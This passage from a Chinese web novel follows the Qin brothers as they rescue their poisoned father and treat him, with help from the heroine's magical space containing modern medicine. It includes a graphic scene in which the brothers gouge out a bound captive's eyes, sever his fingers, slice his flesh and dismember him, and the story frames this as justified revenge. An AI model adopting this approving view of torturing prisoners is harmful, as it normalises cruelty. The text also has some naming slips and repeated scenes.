油灯的光芒渐渐暗淡,墓室重新陷入黑暗。只有那个铜盆中的火焰还在跳动,仿佛是黑暗中唯一的希望。 秦远霄没有拒绝六哥的建议,毕竟以六哥的轻功造诣,带着父亲离开这里绝非难事。夜色渐深,墓室内的夜明珠散发着幽幽光芒,将几人的身影拉得很长。 他看着三位兄长已经带着父亲先行一步,瞬间一跃而起,将墓室中悬挂的夜明珠一一取下。动作轻巧,宛如夜色中的精灵。每一颗夜明珠都价值连城,散发着柔和的光晕。 “这倒是个好习惯。”秦远霄嘴角微扬,想起了媳妇儿的话——遇到宝贝,特别是死敌的珍藏,绝不能手软。那时她眨着狡黠的大眼睛,一脸理所当然的模样。 虽然他没有媳妇儿那般神奇的界阙,但收几颗夜明珠还是绰绰有余。他小心翼翼地将每一颗夜明珠用软布包裹,动作轻柔得仿佛在对待稀世珍宝。 随着夜明珠被取下,墓室逐渐暗了下来。但这丝毫不影响他的视线,多年的武学修为让他在黑暗中也能视物如常。潮湿的空气中弥漫着一股霉味,混杂着陈年香火的气息。 他环视四周,目光落在角落堆放的烧纸上。伸手抓起一把,任由纸钱飘散在空中。“沧澜啊沧澜,”他轻声低语,“这就是你精心布置的地方?” 在腾空而起的瞬间,一个火折子悄然落下。烧纸遇火,瞬间燃起熊熊烈焰。火光映照着他冷峻的面容,眼中闪过一丝决然。 “沧澜老狐狸,这是你最在意的地方吧?”秦远霄冷笑一声,“那就让它彻底消失。”火焰开始蔓延,吞噬着周围的一切。 当他重返地面时,夜色已经完全笼罩了大地。几位兄长已经将父亲安置在一处避风的角落。月光透过树梢,斑驳地洒在地上,勾勒出几人的身影。 借着包裹中夜明珠透出的微光,只见老爹依旧跪地不起,右手机械地重复着取纸、烧纸的动作。那双曾经有力的手此刻瘦骨嶙峋,关节突出,皮肤上布满了老年斑。 这样的场景令人心痛,秦远霄感觉胸口仿佛被什么东西狠狠地揪住。要改变现状,唯有解蛊一途。但父亲现在虚弱至此,他没有十足的把握能顺利取出蛊虫。 第二百三十四章 夜风吹过,带来远处野兽的嚎叫声。六哥警惕地环顾四周,低声道:“九弟,是否应该优先为爹解蛊?” 他的语气中带着担忧,毕竟亲眼见过秦远霄为大哥二哥解蛊的过程。那是一场与时间赛跑的较量,稍有不慎就可能危及性命。 秦远霄沉默片刻,目光在父亲枯瘦的面容上停留。“先带父亲回幽谷吧,”他最终说道,“同时探查下三哥他们现在如何。此地凶兽遍地,夜里狼群觅食,若是遇上就麻烦了。” 兄弟几人默契地点头,小心翼翼地抬起父亲。二哥和大哥各自扶着父亲的一边,六哥在前方开路,秦远霄断后。他们朝幽谷方向赶去,脚步轻快却稳健。 月光下,几人的身影宛如幽灵般在林间穿梭。夜风呜咽,树叶沙沙作响,远处不时传来野兽的叫声。 距离幽谷约莫两里地时,一阵凄厉的狼嚎声突然划破夜空。声音中充满了嗜血的渴望,让人不寒而栗。 “不好!”六哥脸色骤变,身形一顿,“三哥所在之处恐有凶险!” 话音未落,他已经提气疾行,身形如箭般射出。其他人紧随其后,但因为要照顾父亲,速度不免慢了几分。 当他们赶到幽谷前的空地时,十几匹饿狼正对着洞口咆哮。幽绿的眼睛在黑暗中闪烁着凶光,獠牙森森,口中涎水滴落。狼群已经将洞口团团围住,蓄势待发。 秦远霄与六哥对视一眼,同时举起手臂。玲珑连珠弓的箭矢破空而出,发出尖锐的啸声。 眨眼间,大半饿狼应声倒地。剩下几只听到头狼的嚎叫后仓皇逃窜,留下一地的狼尸和血迹。 洞内,三哥等人各自握着将要燃尽的火把,艰难地挥舞着。火光映照下,他们的脸色苍白,额头渗出冷汗。从他们摇晃的身形可以看出,软骨散的药效还未完全消退。 看到兄弟们平安归来,三哥如释重负,手中的火把似有千斤重。他想说什么,却只能发出微弱的声音。 秦远霄连忙上前接过三哥和柳越手中的火把,六哥则去帮助庞勇等人。火光照亮了洞内的情况,地上散落着几根用尽的火把,显然他们已经坚持了很久。 “三哥,你们没事吧?”秦远霄关切地问道,仔细打量着三哥的状况。 三哥苦笑着摇头:“还好你们及时赶到。”他的声音虚弱,说话时还带着轻微的颤抖。 突然,他的目光落在二哥怀中的人影上,瞳孔骤然放大:“这是...?”声音中充满了难以置信。 “是父亲,我们终于找到他了。”秦远霄轻声说道,语气中带着复杂的情绪。 三哥下意识想要起身查看,但双腿无力,险些摔倒。幸好秦远霄及时扶住,才避免了一场意外。 “三哥别急,父亲现在还在蛊虫控制下,没有意识。”秦远霄扶着三哥坐好,语气中带着安抚。 二哥将父亲轻轻放在秦星河身旁,声音里带着难掩的悲痛:“云峰,父亲情况不太好。” 秦星河难以置信地看着眼前这个形容枯槁的老者。他记忆中那个高大威武的父亲,此刻却瘦得只剩下皮包骨,脸上的皱纹深得仿佛能夹死蚊子。 他颤抖着伸手想要触碰父亲,不料老爹忽然动作,吓得他心头一颤。秦霆抓住他的手臂,想要带着他完成烧纸的动作。那机械的动作,空洞的眼神,让人心如刀绞。 二哥无奈地将父亲的手扒开,秦星河满脸困惑:“二哥,父亲这是...”话没说完,已经哽咽得说不出话来。 没人愿意回答这个问题,这成了爹爹此世最大的污点。洞内一时陷入沉默,只有火把燃烧的噼啪声。 “九弟,”六哥突然开口,眸光闪动,“现在就试着给父亲解蛊如何?” 秦远霄沉思片刻,目光在父亲身上逡巡。虽然担心父亲的身体状况,但拖得越久越危险。他终于下定决心:“好,让我看看。” 他取出七颗夜明珠,摆放在洞内各处。柔和的光芒驱散了黑暗,洞内顿时明亮如昼。夜明珠的光芒比火把更加稳定,也更适合接下来的解蛊。 为了确定蛊虫位置,他又拿出了沧澜的本命蛊。那是一个精致的瓷瓶,里面装着能够感应其他蛊虫的特殊虫子。 六哥上前帮忙脱去父亲破烂的衣衫,露出枯瘦的上身。皮包骨的躯体上布满了伤痕和老年斑,曾经结实的肌肉早已消失不见。 秦远霄轻轻摇动瓷瓶,仔细观察父亲的手臂,却发现情况似乎有些不对劲。本命蛊的反应很微弱,这意味着控制父亲的蛊虫可能已经深入骨髓。 秦远霄手中的母蛊轻轻晃动,目光在父亲的手臂上来回扫视。昏暗的烛光下,父亲那双骨瘦如柴的手臂上青筋暴起,皮肤呈现出不正常的灰白色。 按理说,魇魂蛊的子蛊应该在手臂大动脉处才对。可任凭他如何仔细查看,那里却没有丝毫反应。 “奇怪。”他眉头微皱,心中涌起一丝不安。手中的瓷瓶微微发烫,母蛊在里面躁动不安。 难道是母蛊已经失效了?这个念头刚起,就被他否定。若母蛊已死,父亲也不可能活到现在。 几位兄长都屏住呼吸看着他,空气仿佛凝固。大哥站在一旁,手指无意识地敲打着腰间的佩剑;二哥则来回踱步,脚步声在寂静的夜里格外清晰。 “九弟,可有发现?”大哥终于打破沉默。 秦远霄没有立即回答。他的目光开始在父亲身上游走,手中的母蛊依旧在轻轻摇晃。从手臂到肩膀,再到胸口...... 突然,他的瞳孔微缩。 爸爸胸膛最温暖的那处,有一丝异样的波动。那是他再熟悉不过的子蛊活动痕迹。每当母蛊靠近那个位置,瓷瓶中的躁动就会加剧。 “怎么会在这里......”秦远霄倒吸一口凉气,手指不自觉地收紧。 六哥察觉到他的异常,急切地凑上前:“九弟,发现什么了?” “二哥,你来看。”秦远霄示意二哥靠近,“感受一下父亲心口的位置。” 二哥伸手轻轻按在父亲心口,片刻后脸色大变:“这......这不对劲!” “九弟,到底怎么回事?”大哥沉声问道。 秦远霄将装有母蛊的瓷瓶收好,缓缓站起身:“子蛊在父亲心口窝处。” “什么?”六哥惊呼,声音中带着难以置信,“不是应该在手臂上吗?所有的典籍都是这么记载的!” 这确实出乎意料。秦远霄回想《奇虫秘录》中的记载,从未见过魇魂蛊的子蛊会在心口位置。除非...... 他想到了沧澜先生玄心蛇血的位置。两者竟如此相似。难道这与本命蛊有关? “九弟,你在想什么?”大哥敏锐地察觉到他的走神。 秦远霄摇摇头:“现在不是深究的时候。子蛊紧贴心脏,稍有不慎就会要了父亲的命。” 第二百三十五章 他看着父亲机械重复的动作,心中一阵揪痛。那张曾经威严的面容如今憔悴不堪,眼神空洞,仿佛一具没有灵魂的躯壳。 “现在只有两个选择。”秦远霄沉声道,“要么找沧澜解蛊,要么回东麓村找薇薇。” “沧澜那个老狐狸靠不住。”六哥立刻说,语气中带着明显的厌恶,“上次若不是他从中作梗,三哥也不会......” “六弟说得对。”二哥打断道,“沧澜拿到本命蛊,说不定会趁机要父亲的命。最稳妥的办法是回东麓村找薇薇。” 秦远霄点头:“薇薇对蛊术的理解远超沧澜,而且她给我的解蛊方法从未出过差错。” “需要多久?”大哥问。 “快马加鞭也要三天。”秦远霄看着父亲憔悴的面容,眉头紧锁,“就怕父亲撑不到那时候。” “什么意思?”二哥脸色一变。 “真正危险的不是子蛊,是父亲的身体状况。”秦远霄叹息,“这些天他滴水未进,全靠蛊虫维持生命。若非我带了薇薇给的强心剂,恐怕父亲早就......” 话未说完,二哥已经准备抱起父亲:“那还等什么,连夜下山!” “等等。”秦远霄拦住他,“三哥他们还中着毒,不能就这么丢下。” 大家的目光都转向坐在地上的三哥、四哥和七哥。他们虽然已经服下解药,但毒性发作时伤及经脉,一时半会还无法行动。 六哥会意:“你们先带父亲走,我留下照顾三哥他们,等他们能动了再下山。” “也好。”秦远霄取出几粒解毒丸递给六哥,“这是最后的解药,路上小心。若有异常,就让人去东麓村找我。” 六哥接过药丸,神情凝重:“你们也要小心。这一路上,不知还有多少暗子在等着。” 秦远霄点点头。沧澜布下这个局,绝不会轻易让他们脱身。但现在顾不得那么多了,父亲的命才是最重要的。 拿着从墓室顺来的夜明珠,秦远霄和大哥二哥带着父亲开始下山。夜色已深,山路崎岖,他们不得不放慢脚步。 每过一会,秦远霄就要停下来查看父亲的情况。那颗子蛊似乎感应到母蛊的存在,变得越发躁动。父亲的呼吸也愈发微弱,面色时而发青时而发白。 “要不要再给父亲服用一次强心剂?”大哥问道。 秦远霄摇头:“剂量要控制,服用太多反而会加重负担。” 他取出一个小瓷瓶,倒出一滴褐色液体抹在父亲人中处。片刻后,父亲的呼吸稍微平稳了些。 夜色深沉,山脚下的马车旁,五哥秦瑾高心神不宁地来回踱步。潮湿的山风裹挟着泥土的腥气,让他不由得裹紧了外衣。 沧澜先生虽然被制住,但他更担心进山的两位兄弟。那座山上布满了机关陷阱,稍有不慎就会万劫不复。每当想到这里,他的心就像被无形的大手紧紧攥住。 马车里传来沧澜先生细微的呼吸声,秦瑾高转身看了一眼,确认对方还在昏迷中。他摸了摸腰间的软剑,这是他唯一的依仗。 一整天过去了,山上依然没有任何动静传来。夜晚的虫鸣此起彼伏,却衬得四周更加寂静。秦瑾高抬头望向漆黑的山顶,浓重的夜色中只能依稀辨认出山的轮廓。 “九弟,你可一定要平安啊。”他喃喃自语,声音很快被风吹散。 远处突然传来细微的脚步声,秦瑾高浑身一紧。这脚步声很轻,像是刻意放轻了步伐,但人数不少。他立即警觉起来,先是谨慎地看了眼马车里的沧澜先生,随后悄无声息地潜到路边的大树阴影处。 脚步声越来越近,至少有四五个人。秦瑾高握紧了软剑,冷汗顺着额角滑落。 “来者何人?”他沉声喝问,声音在寂静的夜色中格外清晰。 “五哥!”熟悉的声音响起,是九弟秦远霄。 秦瑾高紧绷的神经顿时松懈下来:“九弟,你们没事吧?” “五哥,我们救出父亲和两位兄长了,但父亲情况不太好,得赶紧回东麓村。”秦远霄语气焦急,声音里带着疲惫。 此时天色已微微泛白,晨雾在山间缭绕。秦瑾高这才看清跟在九弟身后的几个人影。多年不见的大哥和二哥,身形消瘦得不成样子,若不是那熟悉的声音和动作,他几乎认不出来。 “五弟...”二哥抱着一个人影走近,声音有些哽咽,眼眶泛红。 “二哥!”秦瑾高眼眶一热,喉头发紧。他想说些什么,却发现千言万语都堵在喉咙里。 大哥也上前拍了拍他的肩膀:“五弟,多年不见。”简单的一句话,却包含了太多说不尽的思念与苦楚。 简单寒暄后,几人赶紧来到马车旁。二哥怀中的父亲面色苍白,呼吸微弱,看起来情况很不乐观。 “九弟,那老东西现在可以解决了吧?”五哥指了指马车里的沧澜先生,眼中闪过一丝狠厉。 秦远霄摇头,脸上浮现出复杂的神色:“先别动他,父亲体内的蛊毒,也许还得靠他。” 说着,他打开车门,将沧澜先生拖了出来。老人的衣襟已经被汗水浸透,脸上还带着些许淤青,显然之前经历了一番搏斗。 秦远霄示意二哥先带父亲上车休息。五哥立刻跳上车,将棉被铺好,又取来清水给父亲润喉。看着父亲憔悴的面容,他心如刀绞。 秦远霄则对着沧澜先生泼了一脸水。老狐狸猛地清醒过来,看到秦远霄时瞪大了眼睛,苍老的脸上写满了不可思议:“你...你怎么可能还活着?” “我为什么不能活着?”秦远霄冷笑,眼神锐利如刀,“你以为那些毒虫陷阱就能要了我的命?” 沧澜先生脸色变了变,原本惊慌的神色迅速平静下来:“要杀要剐,悉听尊便。” “我父亲体内的蛊毒,你能解吗?”秦远霄直接问道,目光紧紧盯着对方的表情变化。 沧澜先生眼中闪过一丝诡异的光芒,嘴角微微上扬:“当然能解,那是我的本命蛊。” 他回答得太快太痛快,反而让秦远霄起了疑心。这老狐狸在蛊术一道上造诣极深,向来阴险狡诈,此刻的配合未免太过反常。 “呵,想借机要回本命蛊?”秦远霄冷冷道,“死了这条心吧。” 第二百三十六章 沧澜先生忽然狂笑起来,笑声中带着几分癫狂:“哈哈哈...秦远霄,是不是秦霆已经不行了?” 他的眼神变得阴鸷起来,“你们以为带他离开就能活命?天真!” 秦远霄面色一沉,正要说话,马车里突然传来一阵剧烈的咳嗽声。 “父亲!”几兄弟连忙冲向马车。 只见秦霆脸色铁青,双手死死抓着胸口,豆大的汗珠从额头滚落。他张着嘴想说什么,却只能发出“嗬嗬”的声音。 “蛊毒发作了!”大哥惊呼,“快,找个地方让父亲好好休息!” 沧澜先生在一旁冷眼旁观,嘴角挂着若有若无的笑意:“时间不多了,你们最好想清楚。” 秦远霄握紧了拳头,指甲深深陷入掌心。他回头看了眼痛苦的父亲,又看看一脸得意的沧澜先生,心中天人交战。 沧澜先生嘴角勾起一抹得意的笑容,目光在秦远霄脸上逡巡。见对方迟迟不语,他更加确信自己说中了要害。 “除了我,这世上再无人能解除秦霆体内的子蛊。”他冷笑一声,声音里带着几分癫狂,“即便无法带着你们秦氏子孙共赴黄泉,但能让秦霆陪葬,我也死得其所了。” 说罢,他缓缓闭上双眼,一副慷慨赴死的模样。脸上浮现出诡异的笑容,仿佛已经看到了秦家人痛不欲生的模样。 秦远霄眸中寒光乍现,周身散发出令人窒息的杀意。这位断送他满门的阶下之囚,竟敢在此时摆出这般姿态。他的手指无意识地摩挲着腰间的匕首,指节因用力而泛白。 “你想死?”他的声音冷得像是九幽寒冰,每一个字都仿佛带着刺骨的寒意。 沧澜先生不由打了个寒颤,他被秦家兄弟囚禁这么久,还是头一回听到秦远霄用这种语气说话。那声音里蕴含的杀意,让他不由自主地瑟缩了一下。 可转念一想,死到临头,他反倒坦然了。与其活着受折磨,不如痛快赴死。虽未能完全报仇,但想到即将与心爱之人相见,倒也无憾。他的嘴角勾起一抹释然的笑意。 “怎么,秦九爷这是舍不得杀我?”沧澜先生故意激怒道,“还是说,你们秦家人就只会用这些下三滥的手段折磨人?” 秦远霄手中寒光一闪,一柄锋利的匕首直直刺向沧澜先生的左眼。动作之快,连空气都来不及震颤。 “既然你执意要闭眼,这双眼睛留着也是无用。”他的声音依旧平静,仿佛只是在陈述一件再平常不过的事情。 剧痛传来,沧澜先生发出凄厉的惨叫,声音惊得林中飞鸟四散。鲜血顺着他的脸颊流下,在地上汇成一小滩暗红。 “啊!你这个恶魔!”沧澜先生痛得浑身颤抖,右眼中满是惊恐,“你们秦家人,都该下地狱!” 正在车厢内照顾父亲的二哥与五哥闻声赶来,只见九弟手中的匕首上还挂着一颗血淋淋的眼珠。空气中弥漫着浓重的血腥气。 五哥看了看地上痛苦挣扎的沧澜先生,又看了看九弟平静得可怕的脸。他二话不说,抽出匕首就朝沧澜先生的右眼刺去。 “这笔账你欠我秦家良久,区区双眼远远不够。”二哥接过九弟手中的匕首,利落地斩断了沧澜先生的十指。断指落地的声音清脆得令人毛骨悚然。 鲜血四溅中,二哥开始一刀一刀地在沧澜先生身上剐肉。每一刀都恰到好处,既不会让他立刻死去,又能让他感受到极致的痛苦。五哥则拿着一壶冷水,每当沧澜先生要昏厥时就泼醒他。 “你们...你们这些恶魔...”沧澜先生已经说不出完整的话,只能发出含糊不清的呻吟。 秦远霄从怀中取出一包痒痒粉,这是他特意准备的。他毫不犹豫地撒在沧澜先生身上。顿时,那人又痛又痒,表情扭曲得不成人形。 “这种感觉如何?”秦远霄蹲下身,平静地注视着沧澜先生的痛苦,“比起我父亲所受的痛苦,这还远远不够。” “九弟,要带他一起走吗?”五哥擦了擦手上的血迹,问道。 “不必了。”秦远霄冷声道,“让他在这里慢慢体会生不如死的滋味。” 兄弟三人将沧澜先生大卸八块,扔在路边的草丛中。夜色渐深,远处传来野兽的嘶吼声。 车厢内,大哥轻抚父亲的手臂,低声道:“父亲,仇人已死,你必须撑下去,母亲还在家中等着您。” 父亲的呼吸微弱但平稳,似乎在回应儿子的话语。 收拾妥当后,一行人继续赶路。五哥驾车,动作轻柔,生怕颠簸影响父亲休息。秦远霄与二哥骑马,警惕地注意着四周的动静。大哥则在车厢内照看父亲,不时用帕子擦拭父亲额头的冷汗。 月光如水,洒在官道上。马蹄声和车轮声在寂静的夜色中格外清晰。 “九弟,”二哥突然开口,“你说沧澜先生临死前说的话,会不会是真的?父亲体内的子蛊...” “无论真假,”秦远霄打断道,“我们都别无选择。” 二哥叹了口气,不再说话。 到达玄陲城门时,晨曦初露。城门紧闭,守门的士兵神情倦怠。秦远霄打点了守门士兵,车驾安然驶过。 阴沉的天气让官道上行人寥寥。清晨的薄雾笼罩着大地,远处的山峦若隐若现。行至十几里外,对面驶来一辆熟悉的车驾,车厢样式与媳妇儿在界阙加工的一模一样。 秦远霄凝目望去,只见赶车之人戴着偌大的草帽,遮住了面容。那人的坐姿有些僵硬,似乎在刻意避开他人的目光。 “停下。”秦远霄低声道。 马车缓缓停在路边,周围一片寂静,只有晨风吹过树梢的沙沙声。 马蹄声渐近,秦远霄心中那丝微弱的预感愈发强烈。夜风掠过树梢,带来一阵若有若无的药香,那是他再熟悉不过的味道。 他纵身一跃,轻功展开,几个起落间掠过参天古木。月光透过枝叶间隙洒落,在他身上投下斑驳光影。远处传来马车轱辘碾过官道的声响,那熟悉的节奏让他心跳不由加快。 “九弟?”秦雪松勒住缰绳,惊讶地看着突然出现在马车前的人影。月色下,他那张与记忆中一模一样的脸上写满了意外。 还未等秦远霄开口询问,车帘便从内掀起,露出一张令他魂牵梦萦的面容。那张脸略显疲惫,却依旧明媚动人。 “夫君。”宁芷薇扶着车厢,小腹高耸。她的声音依旧轻柔,却带着掩饰不住的疲惫。 第二百三十七章 秦远霄心头一紧,三步并作两步上前扶住她。掌心触及她的手臂,能感受到微微的颤抖:“你怎么来了?这一路颠簸...”声音中满是责备,眼神却尽是心疼。 “我拿到了小白寄来的来信,放心不下。”宁芷薇柔声解释,目光中闪过一丝歉意,“便求八哥带我来玄陲。这些日子,我总是睡不安稳。” 看着妻子温柔的笑颜,秦远霄又气又心疼。他太了解宁芷薇了,定是担心父亲和兄长们的安危,才会不顾身孕千里迢迢赶来。而八哥那个耿直性子,怕是又被她那双会说话的眼睛给哄骗了。 “薇薇...”秦远霄刚要说教,却对上妻子带着歉意的眼神。那双眼睛里盈满了担忧,还有一丝不易察觉的倔强。到嘴的话又咽了回去,化作一声无奈的叹息。 这时,另外两辆马车也缓缓驶来。车轮碾过地面的声响在夜色中格外清晰,惊起几只夜鸟扑棱着翅膀飞远。 “这位是...”宁芷薇看向其中一人,虽未谋面,但那眉眼间的相似之处已说明了身份。那人眉宇间透着几分凌厉,却掩不住眼底的疲惫。 “二哥。”秦远霄简单介绍后,神色凝重地说起父亲的情况。说话间,他的手不自觉地握紧了宁芷薇的手腕,仿佛在寻求一丝安慰。 宁芷薇闻言,立刻挣开他的手,快步来到秦霆所在的马车前:“让我先看看父亲。”她的声音里带着一丝急切,却又刻意压低,生怕惊扰了车内的人。 车厢内的大哥闻声而出,让出位置。他的脸上写满了疲惫和担忧,眼底泛着血丝,显然这些日子都未能好好休息。秦远霄小心搀扶着宁芷薇上车,生怕她一个不稳。 映入眼帘的是一位形容枯槁的老者,白发苍苍,骨瘦如柴。那张曾经威严的面容此刻却显得如此脆弱。宁芷薇心中一痛,轻轻按住秦霆颤抖的手臂,仔细诊脉。 宁芷薇再次上前。“父亲,让我为您检查一下身体吧。” 她小心翼翼地搭上秦霆的脉搏,感受着那微弱却稳定的脉象。多年的医术经验让她很快就有了判断。 “公爹的身子骨比一般人要强健许多,”她在心中暗暗分析,“想必是常年习武的缘故。不过现在最重要的是要调养。” “父亲,您现在感觉如何?”秦远霄在一旁关切地问道。他的声音很轻,生怕惊扰到父亲。 秦霆的目光在两人之间来回移动,最后定格在宁芷薇隆起的腹部上。那双浑浊的眼睛里闪过一丝复杂的情绪。 “我...似乎错过了很多。”他的声音里带着一丝遗憾,甚至有些哽咽。 这句话让车厢内的气氛瞬间变得沉重起来。宁芷薇能理解这位老人的心情,八年的光阴,错过了太多太多。 “父亲不必担心,”她柔声安慰道,“您的身体虽然暂时有些虚弱,但只要好好调养,必将王者归来。” 秦霆微微点头,目光中的迷茫渐渐散去,取而代之的是一丝坚定。“远霄,你这个媳妇不错。”他突然说道。 这句话让宁芷薇心头一暖。作为一个大夫,她深知病人的心理状态对康复有多重要。能得到公爹的认可,无疑是最好的开始。 马车外的兄长们听到这个好消息,都发出了欢呼声。那一刻,仿佛春日的暖阳驱散了所有的阴霾。 “父亲,您先休息一会儿。”秦远霄轻声说道,“等回到府上,我们再慢慢说。” “父亲情况如何?”秦远霄紧张地问,声音里带着一丝颤抖。他从未见过妻子如此凝重的表情。 宁芷薇深吸一口气,缓缓道:“除了蛊毒,父亲体内还有一种慢性毒素。这毒性虽缓,却已侵蚀至心脏附近。若是与子蛊相触...”她的声音越来越轻,最后几乎微不可闻。 车厢内一片寂静,只有秦霆微弱的呼吸声。那未说完的话语仿佛一把重锤,击在每个人心上。 “有办法医治吗?”秦远霄声音沙哑,手指不自觉地握紧。他看着妻子的侧脸,期待着她能给出一个肯定的答案。 宁芷薇轻声道:“需要进界阙详细检查。”她的语气虽然平静,眼底却闪过一丝担忧。这种毒素她似乎在哪里见过,但一时又想不起来。 秦远霄立即会意,跳下马车开始安排。夜色渐深,林间起了薄雾。很快,马车驶离官道,停在一处偏僻林间。周围树影婆娑,偶有虫鸣传来。 确认四下无人后,宁芷薇带着秦远霄和秦霆进入界阙。现代的医疗设备在界阙内闪烁着冰冷的光芒,与外界的古朴形成鲜明对比。 经过详细检查,情况比想象中稍好。那慢性毒素附着在动脉血管壁上,正缓慢而有规律地向心脏移动。显示屏上的图像清晰地展示着毒素的移动轨迹。 宁芷薇站在仪器前,眉头紧锁。她的脑海中不断闪过前世的记忆碎片,这种毒素的特征让她想起了什么。在某个实验室里,这种物质曾被用于脑出血治疗的实验。虽然最终实验失败了,但确实存在解毒的方法。 她的手指在炼物台上快速移动,调出更多的检查数据。每一个数值都可能是救治的关键。秦远霄站在一旁,看着她专注的侧脸,心中既是担忧又带着一丝希望。 宁芷薇的指尖轻轻搭在秦霆的脉搏上,眉头不自觉地蹙起。马车内光线昏暗,只有从车窗缝隙透进来的一缕阳光,在她白皙的手背上投下斑驳的光影。 她能感受到掌下脉搏的跳动微弱而紊乱,这种状态比她预想的要糟糕许多。但通过仔细的诊断,她发现了一个相对令人宽慰的情况:秦霆体内那毒和子蛊隔着差不多一厘米,这倒是不幸中的万幸。 车厢内弥漫着一股淡淡的药草气息,那是她刚才为秦霆服下的临时缓解之药。秦霆躺在简易的担架上,面色苍白如纸,额头上渗出细密的汗珠,眉头紧锁,似乎在承受着极大的痛苦。 “薇薇...”秦远霄站在一旁,声音里带着难以掩饰的焦虑。他的手指无意识地揉搓着衣袖,眼睛一眨不眨地盯着宁芷薇的每一个动作。 宁芷薇抬起头,对上丈夫担忧的目光。她轻轻拍了拍秦远霄的手臂,柔声道:“比我想象的要好一些。” “真的吗?”秦远霄声音有些发颤。 宁芷薇点点头,一边收回搭在秦霆脉搏上的手,一边解释道:“按照毒素蔓延的速度来看,起码要撑过这三十天,毒素和蛊虫不会相遇。这段时间足够我们先为父亲解毒,再调养身体。” 第二百三十八章 她站起身,走到车窗边,望着外面飞速掠过的景色。阳光透过树叶的间隙洒落进来,在她脸上投下斑驳的光影。“这种毒有个特点,中毒的人得静养不能剧烈活动,否则会加快毒素蔓延的速度。” 秦远霄若有所思地看向父亲蜷缩的双腿:“所以父亲在墓穴中没有太多活动,反而是件好事?” “没错,”宁芷薇微微颔首,“这也是毒素蔓延得并不算太快的原因。” “那蛊虫呢?”秦远霄追问道,眼中闪过一丝希冀,“能取出来吗?” 宁芷薇走回秦霆身边,指着他胸口的位置:“蛊虫在这里,靠近心脏,而且位置很深。取出来肯定会血流如柱,以父亲现在的身体状况,恐怕承受不住。” 话音刚落,秦远霄的脸色瞬间变得惨白,他的手无意识地握紧,指节泛白:“那...父亲的蛊...” “别担心,”宁芷薇打断他的话,伸手覆上他紧握的拳头,“等我们先把父亲的身体调养好,再做手术不迟。现在最重要的是解毒。” 她打开灵医空界阙,却发现里面并没有储存这种灵液。无奈之下,她只好打开仙市阁商铺搜索,但同样一无所获。眼看着秦霆的呼吸越发急促,她的心也跟着一点点沉了下去。 宁芷薇咬了咬唇,最终点开了古玩鉴赏家的对话框。屏幕的光映在她略显疲惫的脸上,手指在键盘上快速敲击。 【你好,情况紧急,请求帮忙,看到消息秒回我。】 消息刚发出去,对方就立即回复了。 【我在,要帮你干啥?】 【我需要一种灵液,仅H市生物制品处可购。】 【正好我在H市出差,定位发我一下,我马上去买。】 宁芷薇迅速将详细信息发了过去,心里却在盘算着时间。他们现在是在马车里,不能待太久,否则外面的人会起疑。她抬头看了看秦霆,又看了看手表,时间一分一秒地流逝,每一秒都像是一把无形的刀,割在她的心上。 马车突然轻微晃动了一下,外面传来了脚步声,接着是敲门声。 “九弟,九弟妹,父亲现在怎么样?”秦家大哥焦急的声音透过车门传来。 秦远霄和宁芷薇对视一眼,他无奈地站起身,推开车门。刺眼的阳光瞬间涌入,几位兄长的身影立在门外,脸上写满了担忧。 “大哥,”秦远霄的声音有些沙哑,“父亲体内有慢性毒,薇薇正在想办法。” 听到这个消息,几位兄长的脸色都变了。二哥上前一步,急切地问道:“九弟妹,这毒素还有得治吗?” 宁芷薇能理解他们的心情,她站起身,轻声道:“我正在准备解药,估计能让老爸康复。但需要一些时间。” 大哥二话不说,对着宁芷薇深深一躬:“麻烦九弟妹一下。” 其他兄弟也纷纷行礼。看着这些平日里威风凛凛的将军们如此姿态,宁芷薇心里一阵酸涩。这些人平日里或许有各自的算计,但在父亲生死攸关的时刻,却都显露出了最真实的一面。 “我们是一家人,这是我应该做的。”她顿了顿,目光扫过众人,“不过我配药时不能被打扰,还请几位兄长帮忙看着外面。” “放心,”八哥信誓旦旦地说,眼中闪过一丝愧疚,“有我们在,连只苍蝇都飞不进来!” 说完这话,他又想起自己是被九弟妹骗来玄陲的,不由得有些心虚地低下了头。其他几位兄长也想到了这一点,纷纷露出尴尬的神色。 宁芷薇看着他们的反应,心中不禁有些好笑。但现在不是计较这些的时候,她转身回到秦霆身边,继续观察着他的状况。 马车外,阳光依旧明媚,照在众人身上投下长长的影子。远处传来鸟儿的啼鸣,与眼前的紧张气氛形成鲜明的对比。宁芷薇知道,接下来的日子将会是一场艰难的治疗之旅,但她别无选择。 她再次检查了秦霆的脉象,心中暗自祈祷古玩鉴赏家能尽快带来灵液。时间就是生命,每一分每一秒都不容浪费。 马车在山路上颠簸前行,车轮碾过石子发出细碎的响动。秦雪松坐在车辕上,目光时不时扫向车厢,眉宇间带着几分担忧。这一路舟车劳顿,若是寻常孕妇怕是早就受不住了。 “八哥,你说九弟妹这身子骨也忒结实了些。”秦雪松侧头看向身旁的八哥秦远霄,“换作旁人,这般折腾早就撑不住了。” 秦远霄憨厚一笑:“薇薇向来与众不同。”说着,他又叮嘱道:“大哥,前面路不好走,慢些赶路。” 车厢内,宁芷薇正专注地整理着药材。她能感受到腹中胎儿的轻轻踢动,不由自主地抚上小腹,嘴角勾起一抹温柔的弧度。 “别动了,小家伙。”她轻声呢喃,“娘亲还要忙着救你们爷爷呢。” 秦远霄掀开车帘探头进来:“薇薇,渴了吗?要不要喝些水?” “不渴。”宁芷薇摇摇头,“有两位兄长守着,我便安心了。” 秦远霄将车厢门关好,目光温柔地看着她:“别太累着,有什么事叫我。” 宁芷薇应了一声,待秦远霄离开后,她迅速进入界阙查看手机。距离和古玩鉴赏家联系已过去两个时辰,她心里焦急,生怕错过重要消息。 手机屏幕亮起的瞬间,一条消息映入眼帘。 【幸不辱命,货已经到手了,随时能开卖。】 她立刻回复:【麻烦尽快上架灵液。】 很快,店铺就显示了新品上架的提醒。宁芷薇心中一喜,这灵液在现代可是价值不菲。一支就要三万六,而古玩鉴赏家给她的是整整一盒十支,却只收她一元钱。 想到对方的慷慨,她的目光不由自主地落在秦远霄带来的那些夜明珠上。这些都是从钱荷衣冠冢中找到的珍品,每一颗都价值连城。 她挑选了其中最大最亮的一颗,将其带入界阙拍照上传。 【这是一点心意,聊表谢意。】 第二百三十九章 将夜明珠定价五百万后,她又补充道:【好东西只此一件,错过不再有。】 果然,古玩鉴赏家很快就将其拍下。 车厢突然剧烈晃动,宁芷薇一个趔趄,差点摔倒。秦远霄立刻冲进来扶住她:“没事吧?” “我没事。”宁芷薇稳住身形,“是不是到了?” “嗯,前面就是落脚的地方了。”秦远霄说着,已经开始收拾东西。 